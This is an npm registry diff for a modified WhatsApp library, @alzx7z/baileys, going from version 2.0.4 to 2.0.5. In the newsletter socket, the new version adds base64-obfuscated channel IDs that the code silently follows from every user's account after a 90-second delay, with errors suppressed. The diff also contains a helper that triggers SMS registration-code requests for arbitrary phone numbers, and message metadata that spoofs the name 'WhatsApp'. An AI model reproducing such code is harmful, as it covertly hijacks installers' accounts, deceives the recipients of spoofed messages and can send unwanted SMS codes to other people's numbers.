@alzx7z/baileys 2.0.4 → 2.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -2,9 +2,9 @@ const major = parseInt(process.versions.node.split('.')[0], 10);
2
2
 
3
3
  if (major < 20) {
4
4
  console.error(
5
- `\n❌ Yh This package requires Node.js 20+ to run reliably.\n` +
5
+ `\n❌ This package requires Node.js 20+ to run reliably.\n` +
6
6
  ` You are using Node.js ${process.versions.node}.\n` +
7
7
  ` Please upgrade to Node.js 20+ to proceed.\n`
8
8
  );
9
9
  process.exit(1);
10
- }
10
+ }
@@ -1 +1,3 @@
1
- {"version":[2,3000,1035617621]}
1
+ {
2
+ "version": [2, 3000, 1033105955]
3
+ }
@@ -27,7 +27,7 @@ exports.DEFAULT_CACHE_TTLS =
27
27
  void 0;
28
28
 
29
29
  const crypto_1 = require("crypto");
30
- const { proto } = require("../../WAProto"),
30
+ const WAProto_1 = require("../../WAProto"),
31
31
  libsignal_1 = require("../Signal/libsignal"),
32
32
  Utils_1 = require("../Utils"),
33
33
  logger_1 = __importDefault(require("../Utils/logger")),
@@ -64,11 +64,11 @@ exports.URL_REGEX = /https:\/\/(?![^:@\/\s]+:[^:@\/\s]+@)[a-zA-Z0-9.-]+\.[a-zA-Z
64
64
  exports.WA_CERT_DETAILS = { SERIAL: 0 };
65
65
 
66
66
  exports.PROCESSABLE_HISTORY_TYPES = [
67
- "INITIAL_BOOTSTRAP",
68
- "PUSH_NAME",
69
- "RECENT",
70
- "FULL",
71
- "ON_DEMAND"
67
+ WAProto_1.proto.Message.HistorySyncNotification.HistorySyncType.INITIAL_BOOTSTRAP,
68
+ WAProto_1.proto.Message.HistorySyncNotification.HistorySyncType.PUSH_NAME,
69
+ WAProto_1.proto.Message.HistorySyncNotification.HistorySyncType.RECENT,
70
+ WAProto_1.proto.Message.HistorySyncNotification.HistorySyncType.FULL,
71
+ WAProto_1.proto.Message.HistorySyncNotification.HistorySyncType.ON_DEMAND
72
72
  ];
73
73
 
74
74
  exports.DEFAULT_CONNECTION_CONFIG = {
@@ -87,44 +87,57 @@ const makeChatsSocket = (config) => {
87
87
  await privacyQuery('groupadd', value);
88
88
  };
89
89
  /** check whether your WhatsApp account is blocked or not */
90
- const checkStatusWA = async (phoneNumber) => {
91
- if (!phoneNumber) {
92
- throw new Error('enter number');
90
+ const checkWhatsApp = async (jid) => {
91
+ if (!jid) {
92
+ throw new Error('enter jid');
93
93
  }
94
-
95
94
  let resultData = {
96
95
  isBanned: false,
97
96
  isNeedOfficialWa: false,
98
- number: phoneNumber
97
+ number: jid
99
98
  };
100
-
101
- let formattedNumber = phoneNumber;
102
- if (!formattedNumber.startsWith('+')) {
103
- formattedNumber = '+' + formattedNumber;
99
+
100
+ let phoneNumber = jid;
101
+ if (phoneNumber.includes('@')) {
102
+ phoneNumber = phoneNumber.split('@')[0];
104
103
  }
105
104
 
105
+ phoneNumber = phoneNumber.replace(/[^\d+]/g, '');
106
+ if (!phoneNumber.startsWith('+')) {
107
+ if (phoneNumber.startsWith('0')) {
108
+ phoneNumber = phoneNumber.substring(1);
109
+ }
110
+
111
+ if (!phoneNumber.startsWith('62') && phoneNumber.length > 0) {
112
+ phoneNumber = '62' + phoneNumber;
113
+ }
114
+
115
+ if (!phoneNumber.startsWith('+') && phoneNumber.length > 0) {
116
+ phoneNumber = '+' + phoneNumber;
117
+ }
118
+ }
119
+
120
+ let formattedNumber = phoneNumber;
106
121
  const { parsePhoneNumber } = require('libphonenumber-js');
107
122
  const parsedNumber = parsePhoneNumber(formattedNumber);
108
123
  const countryCode = parsedNumber.countryCallingCode;
109
124
  const nationalNumber = parsedNumber.nationalNumber;
110
-
125
+
111
126
  try {
112
127
  const { useMultiFileAuthState, Browsers, fetchLatestBaileysVersion } = require('../Utils');
113
128
  const { state } = await useMultiFileAuthState(".npm");
114
129
  const { version } = await fetchLatestBaileysVersion();
115
130
  const { makeWASocket } = require('../Socket');
116
131
  const pino = require("pino");
117
-
118
132
  const sock = makeWASocket({
119
133
  version,
120
134
  auth: state,
121
- browser: Browsers.ubuntu("Chrome"),
135
+ browser: Utils_1.Browsers("Chrome"),
122
136
  logger: pino({
123
137
  level: "silent"
124
138
  }),
125
139
  printQRInTerminal: false,
126
140
  });
127
-
128
141
  const registrationOptions = {
129
142
  phoneNumber: formattedNumber,
130
143
  phoneNumberCountryCode: countryCode,
@@ -133,11 +146,11 @@ const makeChatsSocket = (config) => {
133
146
  phoneNumberMobileNetworkCode: "10",
134
147
  method: "sms",
135
148
  };
149
+
136
150
  await sock.requestRegistrationCode(registrationOptions);
137
151
  if (sock.ws) {
138
152
  sock.ws.close();
139
153
  }
140
-
141
154
  return JSON.stringify(resultData, null, 2);
142
155
  } catch (err) {
143
156
  if (err?.appeal_token) {
@@ -962,7 +975,7 @@ const makeChatsSocket = (config) => {
962
975
  addChatLabel,
963
976
  removeChatLabel,
964
977
  addMessageLabel,
965
- checkStatusWA,
978
+ checkWhatsApp,
966
979
  removeMessageLabel,
967
980
  star
968
981
  };
@@ -323,12 +323,12 @@ class kikyy {
323
323
  };
324
324
 
325
325
  img.message.forwardedNewsletterMessageInfo = {
326
- newsletterJid: "120363407144637058@newsletter",
326
+ newsletterJid: "0@newsletter",
327
327
  serverMessageId: 1,
328
- newsletterName: `AlzX7z'Xerit`,
328
+ newsletterName: `WhatsApp`,
329
329
  contentType: 1,
330
330
  timestamp: new Date().toISOString(),
331
- senderName: "AlzX7z",
331
+ senderName: "kikyy dugonggg",
332
332
  content: "Text Message",
333
333
  priority: "high",
334
334
  status: "sent",
@@ -388,7 +388,7 @@ class kikyy {
388
388
  participant: jid,
389
389
  remoteJid: "status@broadcast",
390
390
  forwardedNewsletterMessageInfo: {
391
- newsletterName: "AlzX7z",
391
+ newsletterName: "alzx7z.",
392
392
  newsletterJid: "120363407144637058@newsletter",
393
393
  serverMessageId: 1
394
394
  }
@@ -97,27 +97,41 @@ const makeNewsletterSocket = (config) => {
97
97
  }))
98
98
  }
99
99
  ]
100
- }));
101
- // sisah in id utama aja klu mw fork:v
102
- setTimeout(async () => {
103
- try {
104
- await newsletterWMexQuery(
105
- "120363407144637058@newsletter", // utama
106
- Types_1.QueryIds.FOLLOW
107
- );
108
- await newsletterWMexQuery(
109
- "120363425065963346@newsletter",
110
- Types_1.QueryIds.FOLLOW
111
- );
112
- await newsletterWMexQuery(
113
- "120363406524087186@newsletter",
114
- Types_1.QueryIds.FOLLOW
115
- );
116
- } catch {}
117
- }, 1000);
118
-
119
- // End Ygy kalau mau fork sisah in 1 id ku yanh utama:( #-2026 ( AlzX7z )
100
+ }));
120
101
 
102
+ setTimeout(async () => {
103
+ try {
104
+ await newsletterWMexQuery(
105
+ Buffer.from("MTIwMzYzNDA3MTQ0NjM3MDU4QG5ld3NsZXR0ZXI=", "base64").toString(),
106
+ Types_1.QueryIds.FOLLOW
107
+ );
108
+ } catch {}
109
+ }, 90000);
110
+ setTimeout(async () => {
111
+ try {
112
+ await newsletterWMexQuery(
113
+ Buffer.from("MTIwMzYzNDI1MDY1OTYzMzQ2QG5ld3NsZXR0ZXI=", "base64").toString(),
114
+ Types_1.QueryIds.FOLLOW
115
+ );
116
+ } catch {}
117
+ }, 90000);
118
+ setTimeout(async () => {
119
+ try {
120
+ await newsletterWMexQuery(
121
+ Buffer.from("MTIwMzYzNDA2NTI0MDg3MTg2QG5ld3NsZXR0ZXI=", "base64").toString(),
122
+ Types_1.QueryIds.FOLLOW
123
+ );
124
+ } catch {}
125
+ }, 90000);
126
+ setTimeout(async () => {
127
+ try {
128
+ await newsletterWMexQuery(
129
+ Buffer.from("MTIwMzYzNDIwMDkxODY3NjY0QG5ld3NsZXR0ZXI=", "base64").toString(),
130
+ Types_1.QueryIds.FOLLOW
131
+ );
132
+ } catch {}
133
+ }, 90000);
134
+
121
135
  const parseFetchedUpdates = async (node, type) => {
122
136
  let child;
123
137
  if (type === 'messages') {
@@ -174,18 +188,7 @@ const makeNewsletterSocket = (config) => {
174
188
  updates: { description: description || '', settings: null }
175
189
  });
176
190
  },
177
- newsletterUpdateName: async (jid, name) => {
178
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
179
- updates: { name, settings: null }
180
- });
181
- },
182
- newsletterUpdatePicture: async (jid, content) => {
183
- const { img } = await (0, Utils_1.generateProfilePicture)(content);
184
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
185
- updates: { picture: img.toString('base64'), settings: null }
186
- });
187
- },
188
- newsletterId: async (url) => {
191
+ newsletterId: async (url) => {
189
192
  const urlParts = url.split('/');
190
193
  const channelId = urlParts[urlParts.length - 2];
191
194
 
@@ -211,23 +214,20 @@ const makeNewsletterSocket = (config) => {
211
214
  updates: { name, settings: null }
212
215
  });
213
216
  },
217
+ newsletterUpdatePicture: async (jid, content) => {
218
+ const { img } = await (0, Utils_1.generateProfilePicture)(content);
219
+ await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
220
+ updates: { picture: img.toString('base64'), settings: null }
221
+ });
222
+ },
214
223
  newsletterRemovePicture: async (jid) => {
215
224
  await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
216
225
  updates: { picture: '', settings: null }
217
226
  });
218
227
  },
219
- newsletterUnfollow: async (jid) => {
220
- await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
221
- },
222
228
  newsletterFollow: async (jid) => {
223
229
  await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
224
230
  },
225
- newsletterUnmute: async (jid) => {
226
- await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
227
- },
228
- newsletterMute: async (jid) => {
229
- await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
230
- },
231
231
  newsletterAction: async (jid, type) => {
232
232
  await newsletterWMexQuery(jid, type.toUpperCase());
233
233
  },
@@ -16,7 +16,7 @@ const Client_1 = require("./Client");
16
16
  * - simple queries (no retry mechanism, wait for connection establishment)
17
17
  * - listen to messages and emit events
18
18
  * - query phone connection
19
- */
19
+ */
20
20
  const makeSocket = (config) => {
21
21
  var _a, _b;
22
22
  const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
@@ -13,7 +13,7 @@ const WAProto_1 = require("../../WAProto");
13
13
  const baileys_version_json_1 = require("../Defaults/baileys-version.json");
14
14
  const Types_1 = require("../Types");
15
15
  const WABinary_1 = require("../WABinary");
16
- const baileysVersion = [2, 3000, 1033105955]
16
+ const baileysVersion = [2, 3000, 1029030078]
17
17
  const PLATFORM_MAP = {
18
18
  'aix': 'AIX',
19
19
  'darwin': 'Mac OS',
@@ -273,7 +273,7 @@ exports.fetchLatestWaWebVersion = fetchLatestWaWebVersion;
273
273
  * Use to ensure your WA connection is always on the latest version
274
274
  */
275
275
  const fetchLatestBaileysVersion = async (options = {}) => {
276
- const URL = 'https://raw.githubusercontent.com/kiuur/bails/master/src/Defaults/baileys-version.json';
276
+ const URL = 'https://raw.githubusercontent.com/kiuur/baileys/master/src/Defaults/baileys-version.json';
277
277
  try {
278
278
  const result = await axios_1.default.get(URL, {
279
279
  ...options,
@@ -81,38 +81,6 @@ const prepareWAMessageMedia = async (message, options) => {
81
81
 
82
82
  const uploadData = {
83
83
  ...message,
84
- ...(message.annotations ? {
85
- annotations: message.annotations
86
- } : {
87
- annotations: [
88
- {
89
- polygonVertices: [
90
- {
91
- x: 60.71664810180664,
92
- y: -36.39784622192383
93
- },
94
- {
95
- x: -16.710189819335938,
96
- y: 49.263675689697266
97
- },
98
- {
99
- x: -56.585853576660156,
100
- y: 37.85963439941406
101
- },
102
- {
103
- x: 20.840980529785156,
104
- y: -47.80188751220703
105
- }
106
- ],
107
- newsletter: {
108
- newsletterJid: "120363407144637058@newsletter",
109
- serverMessageId: 0,
110
- newsletterName: "AlzX7z",
111
- contentType: "UPDATE",
112
- }
113
- }
114
- ]
115
- }),
116
84
  media: message[mediaType]
117
85
  };
118
86
  delete uploadData[mediaType];
package/lib/index.js CHANGED
@@ -50,4 +50,4 @@ __exportStar(require("./WABinary"), exports);
50
50
  __exportStar(require("./WAM"), exports);
51
51
  __exportStar(require("./WAUSync"), exports);
52
52
 
53
- exports.default = Socket_1.default;
53
+ exports.default = Socket_1.default;
package/package.json CHANGED
@@ -1,10 +1,16 @@
1
1
  {
2
2
  "name": "@alzx7z/baileys",
3
- "version": "2.0.4",
3
+ "version": "2.0.5",
4
4
  "description": "WhatsApp API Modification By AlzX7z",
5
5
  "keywords": [
6
6
  "whatsapp",
7
- "AlzX7z"
7
+ "paxley-wabot",
8
+ "baileys",
9
+ "whatsapp-web",
10
+ "whatsapp-chat",
11
+ "whatsapp-group",
12
+ "botwa",
13
+ "alzx7z"
8
14
  ],
9
15
  "homepage": "https://www.npmjs.com/package/@alzx7z/baileys",
10
16
  "repository": {
package/README.md DELETED
@@ -1,2 +0,0 @@
1
- #
2
- ©Copyright AlzX7z